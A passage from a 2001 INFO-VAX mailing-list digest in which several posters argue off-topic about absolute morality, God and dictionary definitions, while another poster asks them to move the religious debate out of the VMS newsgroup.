<mihali@hess.geology.yale.edu> wrote in message G news:Pine.SOL.4.10.10105032028390.18109-100000@rock.geology.yale.edu...s     Mihali, please READ THIS:   K  ------------------------------------------------------VVVVVVVVVVVVVVVVVVVVnK > > would not be able to question them as we are here (def'n #5, "Not to bel6 > > doubted or questioned; positive: absolute proof".) > >aK > > However, backing out of the rathole you dug, I believe you glossed overe they$ > > important question that I asked: >a= > Not the definition in *that* dictionary. Look up "absolute"f9 > http://www.dictionary.com/cgi-bin/dict.pl?term=Absolute   J As you can see, I quoted directly from that definition in that dictionary.K I did look it up, before you, included it in my post, and yet I did not seeu# any relevancy to an absolute being.r  L > > Why do we need a supernatural middleman to determine morality?  If there is& > > an absolute morality as you claim, >s> > That is not the claim. The claim is it has to come from God.  L Please re-read the previous note.  I posed the question "why does it have toA come from any god?  Can we not go to the source?"  You have againt2 ignored/bypassed/twisted/sidestepped the question.  = > > ...  Have you ever asked how it came up with these rules?r@ > > Is it because of their innate "goodness" and their universal applicability?L > > If so, then why do we need a middleman?  If not, then do we want to base ourb> > > lives on rules *not* based on innate goodness or universal applicability?  B I posed that morality is independent of gods, and that by your ownI definition, "absolute morality" is irrelevant to human beings.  You choseE not to respond.u  L As far as I'm concerned, you need not respond, as you continue to not answerE questions, only obfuscate the thread, while not offering constructivehD arguments.  Your tactic is as expected for someone with no proof, noK evidence, and only a blind faith in ancient man's supernatural mythology toeH lead them.  I fear I cannot learn anything from you in this regard, so I. will discontinue my part in this conversation.  H Thank you for your time, it was a stimulating conversation, nonetheless.   Aaron. --> Aaron Sakovich  http://members.home.net/sakovich/alphaman.html> Make April 15 just another day:        http://www.fairtax.org/& "This quote intentionally left blank."   ------------------------------  $ Date: Thu, 3 May 2001 23:30:22 -04002 From: Mihali Felipe <mihali@hess.geology.yale.edu>> Subject: Re: [OT] RE: 80% is Good Enough for M$. Now it's 100%M Message-ID: <Pine.SOL.4.10.10105032258590.18109-100000@rock.geology.yale.edu>g  # On Fri, 4 May 2001, Alphaman wrote::   > Mihali, please READ THIS:d > M >  ------------------------------------------------------VVVVVVVVVVVVVVVVVVVVuM > > > would not be able to question them as we are here (def'n #5, "Not to be 8 > > > doubted or questioned; positive: absolute proof".) > > > M > > > However, backing out of the rathole you dug, I believe you glossed over) > the & > > > important question that I asked: > >i? > > Not the definition in *that* dictionary. Look up "absolute"o; > > http://www.dictionary.com/cgi-bin/dict.pl?term=Absolute  > L > As you can see, I quoted directly from that definition in that dictionary.M > I did look it up, before you, included it in my post, and yet I did not seei% > any relevancy to an absolute being.h  6 How about definition 1?  You conveniently omitted it?    absolute+ 1. Perfect in quality or nature; complete. u$    ^--------------------------------$                                    VA God 1.a. A being conceived as the perfect, omnipotent, omniscientbG originator and ruler of the universe, the principal object of faith andn" worship in monotheistic religions.  N > > > Why do we need a supernatural middleman to determine morality?  If there > is( > > > an absolute morality as you claim, > >g@ > > That is not the claim. The claim is it has to come from God. > N > Please re-read the previous note.  I posed the question "why does it have toC > come from any god?  Can we not go to the source?"  You have again 4 > ignored/bypassed/twisted/sidestepped the question.  E That's because you twisted my claim. It gets frustrating when someonenI interchanges if's and then's in arguments, you know? Makes me not want to-	 respond. .  lJ The answer is it's harder to imagine that absolute morality is "hanging upI there in the sky". If morality is only made up by people, then how can itCH be independent of people (i.e. not relative). If morality is not made upB by people (to make it "not relative" or "absolute"), then who/whatG "generates" it? It necessitates a "middle man", or it will be relative.   D > I posed that morality is independent of gods, and that by your ownK > definition, "absolute morality" is irrelevant to human beings.  You choset > not to respond.n  J Because my definition does not necessarily make it irrelevant. And I don'tF know if you have an explanation for your statement or that's only your opinion.  -N > As far as I'm concerned, you need not respond, as you continue to not answerG > questions, only obfuscate the thread, while not offering constructivehE > arguments. Your tactic is as expected for someone with no proof, no-M > evidence, and only a blind faith in ancient man's supernatural mythology tomJ > lead them.  I fear I cannot learn anything from you in this regard, so I0 > will discontinue my part in this conversation.       - Mihali 	h@ +-------------------------------------+------------------------+@ | Mihali Felipe                       | mihali.felipe@yale.edu |@ | Yale University                     | OFFC (203)432-9808     |@ | Department of Geology and Geophysics| FAX  (203)432-3134     |@ | Box 208109                          |                        |@ | New Haven, CT  06520-8109           |                        |@ +-------------------------------------+------------------------+   ------------------------------  + Date: Thu, 03 May 2001 22:41:32 -0500 (CDT)  From: sms@antinode.org> Subject: Re: [OT] RE: 80% is Good Enough for M$. Now it's 100%) Message-ID: <01050322413284@antinode.org>   G    WILL YOU PEOPLE PLEASE TAKE THIS DISCUSSION SOMEWHERE ELSE?  THIS IStH A VMS NEWS GROUP, NOT A FORUM ON RELIGIOUS BELIEFS OR THE LACK THEREOF.   F    Annoy each other using private e-mail, and leave the rest of us out of it.  H ------------------------------------------------------------------------  C    Steven M. Schweda               (+1) 651-699-9818  (voice, home)aC    382 South Warwick Street        (+1) 763-781-0308  (voice, work)QG    Saint Paul  MN  55105-2547      (+1) 763-781-0309  (facsimile, work)i9    sms@antinode.org                sms@provis.com  (work)    ------------------------------  $ Date: Thu, 3 May 2001 23:38:54 -04002 From: Mihali Felipe <mihali@hess.geology.yale.edu>> Subject: Re: [OT] RE: 80% is Good Enough for M$. Now it's 100%M Message-ID: <Pine.SOL.4.10.10105032330591.18109-100000@rock.geology.yale.edu>r   If P, then Q.    P - Absolute morality exists Q - it must come from Gode  0 You "assume" P to be true and see if Q follows. 6 Likewise you "assume" Q false and see if P is false.  H The claim is that it's a true statement. Not that P is true necessarily, but if it is true, Q follows.  That's how logic goes. O      5 On Thu, 3 May 2001 Shane.F.Smith@Healthnet.com wrote:    > I > How can something be absolute if it comes from a nonexistant source? IneL > order for your argument to have meaning, it must be agreed upon that a godF > or group of gods exist. This is not agreed, that is your firmly held* > opinion. This invalidates your argument.           - Mihali 	 @ +-------------------------------------+------------------------+@ | Mihali Felipe                       | mihali.felipe@yale.edu |@ | Yale University                     | OFFC (203)432-9808     |@ | Department of Geology and Geophysics| FAX  (203)432-3134     |@ | Box 208109                          |                        |@ | New Haven, CT  06520-8109           |                        |@ +-------------------------------------+------------------------+   ------------------------------   End of INFO-VAX 2001.248 ************************e-ID: <uHmI6.55386$U4.13063667@news1.rdc1.tn.home.com>  = Mihali Felipe <mihali@hess.geology.yale.edu> wrote in messageeG news:Pine.SOL.4.10.10105031404440.18109-100000@rock.geology.yale.edu...u :c" > God - Supreme, *Absolute* Being.; > which I think would be a dictionary definition as well...s  4 Sorry, it is *not* the definition in the dictionary:  3  http://www.dictionary.com/cgi-bin/dict.pl?term=God)  K "perfect, omnipo